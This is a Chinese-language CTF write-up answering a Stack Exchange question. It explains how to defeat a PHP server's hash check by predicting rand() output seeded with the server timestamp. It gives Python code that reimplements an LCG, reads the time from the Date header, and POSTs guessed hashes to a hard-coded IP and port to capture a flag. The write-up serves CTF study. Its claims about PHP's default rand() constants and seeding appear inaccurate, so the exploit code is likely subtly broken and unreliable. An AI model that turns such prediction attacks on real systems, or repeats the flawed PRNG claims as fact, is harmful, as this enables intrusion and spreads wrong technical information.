CTF Web:如何向端点发送特定请求体以获取Flag
问题分析与解决方法
你的代码无法成功的核心原因是:客户端生成的哈希与服务端验证所需的哈希完全无关。
服务端的验证逻辑是:在接收请求后,生成自己的60位随机字符串,拼接当前服务端的Unix时间戳,计算SHA256哈希,再与你发送的__字段对比。而你的代码是用本地生成的随机字符串+本地时间戳计算哈希,两者的随机值和时间戳都不匹配,自然无法通过验证。
正确思路:预测服务端的哈希生成逻辑
要通过验证,你需要精确复现服务端生成random() . time()的过程,从而计算出正确的哈希值。关键在于利用PHP rand()函数的可预测性(针对低版本PHP)和服务端时间戳的同步。
步骤1:模拟PHP低版本的rand()函数
PHP 7.0及以下版本的rand()基于线性同余生成器(LCG),默认用系统时间戳作为种子。我们可以在Python中复现这个生成逻辑:
def php_lcg_rand(seed, min_val, max_val): # PHP LCG的官方参数 a = 1103515245 c = 12345 mod = 2**31 seed = (a * seed + c) % mod return (seed % (max_val - min_val + 1)) + min_val, seed def simulate_php_random(timestamp, length=60): characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' char_count = len(characters) seed = timestamp # PHP默认用time()作为rand的种子 random_str = '' for _ in range(length): rand_val, seed = php_lcg_rand(seed, 0, char_count - 1) random_str += characters[rand_val] return random_str
步骤2:获取服务端的时间戳
通过HTTP响应头的Date字段获取服务端的当前时间,转换为Unix时间戳:
def get_server_timestamp(url): response = requests.get(url) date_header = response.headers.get('Date') from datetime import datetime import pytz # 解析HTTP Date头为UTC时间戳 dt = datetime.strptime(date_header, '%a, %d %b %Y %H:%M:%S %Z') dt_utc = dt.replace(tzinfo=pytz.UTC) return int(dt_utc.timestamp())
步骤3:生成正确哈希并发送请求
由于网络延迟,需要尝试服务端时间戳前后1秒的范围,确保覆盖服务端处理请求的时间:
import requests import hashlib import json def get_correct_hash(server_timestamp): random_val = simulate_php_random(server_timestamp) data_to_hash = random_val + str(server_timestamp) return hashlib.sha256(data_to_hash.encode()).hexdigest() def request(): url = "http://206.189.50.236:1337" server_ts = get_server_timestamp(url) # 尝试前后1秒的时间戳,覆盖网络延迟 for ts in [server_ts -1, server_ts, server_ts +1]: generated_hash = get_correct_hash(ts) payload = {"__": generated_hash} response = requests.post(url, json=payload) print(f"尝试时间戳 {ts}:") print(response.text) if 'FLAG{' in response.text: print("\n已获取到Flag!") break request()
针对PHP 7.1+版本的补充说明
如果服务端使用PHP 7.1+,rand()会使用Mersenne Twister算法,预测难度更高。此时需要借助专门的工具(如php_mt_seed)来破解种子,但前提是需要获取多个rand()的输出样本——而本题中服务端并未泄露随机字符串,因此大概率题目使用的是低版本PHP。
内容的提问来源于stack exchange,提问作者Smokem
相关产品推荐
相关产品推荐

